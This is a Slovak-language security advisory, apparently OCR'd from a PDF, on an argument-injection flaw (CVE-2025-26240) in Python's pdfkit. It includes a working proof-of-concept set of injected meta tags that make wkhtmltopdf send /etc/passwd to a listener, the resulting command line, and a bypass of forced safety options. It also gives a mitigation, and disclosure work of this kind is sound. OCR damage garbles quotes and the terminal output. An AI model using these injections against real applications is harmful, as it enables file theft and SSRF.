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Zhrnutie

Zranitelnost v kniznici pdfkit v jazyku Python spodiva v metdde from_string, ktord spracuva
pouzivatelské vstupy HTML, ktoré vSak neosetruje. Metdda from_string pouziva metaznacky, ktorych
nazvy zacinaju na "pdfkit-", a ich hodnoty konvertuje na parametre prikazového riadku pre ndstroj
wkhtmlitopdf. Tuto analyzu vstupov vykondva metdda _find_options_in_meta, ktora sa nachadza v
subore pdfkit/pdfkit.py. Hoci tato funkcia méze byt v uritych pripadoch uZitoénd (napriklad
nastavenie velkosti papiera), niektoré argumenty wkhtmltopdf predstavuju bezpecnostné riziko.

Jednoducha ukazka zneuzitia zranitelI'nosti (POC)
Ked do metddy from_string vloZime nasledujice udaje HTML, budeme méct precitat obsah stuboru
/etc/passwd.

<meta name='pdfkit---quiet' content=">

<meta name='pdfkit---enable-local-file-access' content="">

<meta name="pdfkit---post-file' content="">

<meta name="pdfkit-file--a' content="/etc/passwd'>

<meta name="'pdfkit-http://127.0.0.1:8888?LFI-TEST=--' content="--cache-dir'>
<h1>LFI POC</h1>

Existuje niekolko obmedzeni tykajucich sa argumentov odosielanych do wkhtmltopdf. Prvym je, Ze
kl'd¢ musi obsahovat dve pomlcky, ¢o je dovod, preco posledna metaznacka obsahuje vo svojom nazve
»—-". Implementaciu tejto kontroly mozno najst v metéde _normalize_options, ktord sa nachadza v
subore pdfkit/pdfkit.py.

for key, value in list(options.items()):
if '--' not in key:
normalized_key = '--%s' % self._normalize_arg(key)
else:
normalized_key = self._normalize_arg(key)

Kvoli nedostatocnej validacii méZzeme odovzdavat argumenty, ktoré prijimaju viacero hodnét, nielen
dvojice klu¢-hodnota.

Ked metéde from_string odovzdame skudsobny subor HTML, vidime, Ze prikaz vygenerovany a
vykonany metddou subprocess.Popen vyzerd nasledovne:

['/usr/local/bin/wkhtmltopdf', '--quiet’, '--enable-local-file-access', '--post-file', 'file--a', '/etc/passwd’,
'http://127.0.0.1:8080/?Ifi-test=--', '--cache-dir', '-', '-']

Z toho vyplyva nasledujuci prikaz:
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/usr/local/bin/wkhtmltopdf —quiet --enable-local-file-access --post-file file--a /etc/passwd
http://127.0.0.1:8888/?Ifi-test=-- --cache-dir - -

Tento prikaz odosle obsah suboru /etc/passwd ako priponu v poziadavke POST na adresu
http://127.0.0.1:8888/?Ifi-test=-- s parametrom file--a. Parameter --cache-dir sme pridali len preto,
aby sme odstranili dodato¢nud pomlcku, ktord pridala kniznica pdfkit. Tym sa zabezpecdi uspesné
spustenie nastroja wkhtmltopdf.

Pri zneuZiti tejto zranitelnosti mdéZeme pozorovat, Zze nas Python listener prijima obsah suboru
[etc/passwd.

)-[~/Desktop]
server.py
ving Flask app 'server’
Debug mode:

ile—a"; filename="passwd"

zsh
:/usr/sbin/nologin
in/nologin

bin/nologin
bin/n i
in/nologin
'nologin
in/nologin
sbin/nologin

bin/nologin
bin/nologin

Rovnako mozZzeme spustit lubovolné skripty JavaScript pomocou parametra prikazového riadka --script,
ktory po vygenerovani PDF spusti dany kdéd JavaScript, ¢o vedie k SSRF a dalsim potencidlnym
zranitelnostiam.

Obidenie bezpecnostnych prvkov pdfkit

KniZnica pdfkit umoZnuje vyvojarom poskytnut slovnik volieb pre priame volby, ktoré budu odovzdané
nastroju wkhtmitopdf. Hlavnym problémom je, Ze tieto volby mozno lahko obist vzhladom na spdsob,
akym Python pracuje so slovnikmi.

Inicializacia volieb je definovana v subore pdfkit/pdfkit.py nasledovne:

self.options = OrderedDict()
if self.source.isString():
self.options.update(self._find_options_in_meta(url_or_file))
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self.environ = self.configuration.environ
if options is not None:
self.options.update(options)

Hlavnym problémom je, Ze Python pri pouziti metédy update zachovdva poradie kfucov. Napriklad, ak

mame slovnik {"a": 10, "b": 20} a zavolame nan funkciu update s {"a": 15}, vysledny slovnik bude {"a":
15, "b": 20}.

Uto&nik mdZe vzdy manipulovat s poradim argumentov prikazového riadka zasielanych wkhtmltopdf.
Ak sa vyvojar pokusi vynutit bezpeénostné volby, ako napriklad {"disable-javascript": "", "disable-
local-file-access": "}, utocnik méZe najprv nastavit tieto moznosti a potom ich obist pridanim ich
naprotivkov, t.j. "enable-javascript" alebo "enable-local-file-access".

Dopad
1. Local File Inclusion (LFI) a Unik udajov

e Utocnici mézu vyuZit argument --post-file na ziskanie pristupu k citlivym siborom na serveri,
ako je [etc/passwd. To mbze viest k neopravnenému odhaleniu systémovych informécii, ¢o
mdze Utoénikovi pomact pri zvyseni opravneni alebo dalSom zneuZiti hostitelského poditaca.

2. Server-Side Request Forgery (SSRF)

e ZneuZitim parametrov prikazového riadka, ako --script, mozZe Gtoc¢nik vykonat neopravnené
poziadavky HTTP na interné alebo externé sluzby. To méze viest k:
- pristupu k internym zdrojom, ktoré by nemali byt verejne dostupné.
- obchadzaniu bezpecnostnych mechanizmov, ako su firewally alebo rate limity pre
API.
- interakcia s metadatovymi cloudovymi sluzbami s cielom ziskat prihlasovacie udaje.

NajjednoduchSie rieSenie pre vyvojarov

Najjednoduchsim rieSenim zranitelnosti CVE-2025-26240 je pravdepodobne pouzitie inych metdd ako
from_string. Vyvojar mo6ze napriklad ulozit poskytnuté HTML do docasného suboru a potom poufZit
metddu from_file, ktora neanalyzuje metaznacky.

Zdroj:

https://vulmon.com/vulnerabilitydetails?qid=CVE-2025-26240&scoretype=vmscore
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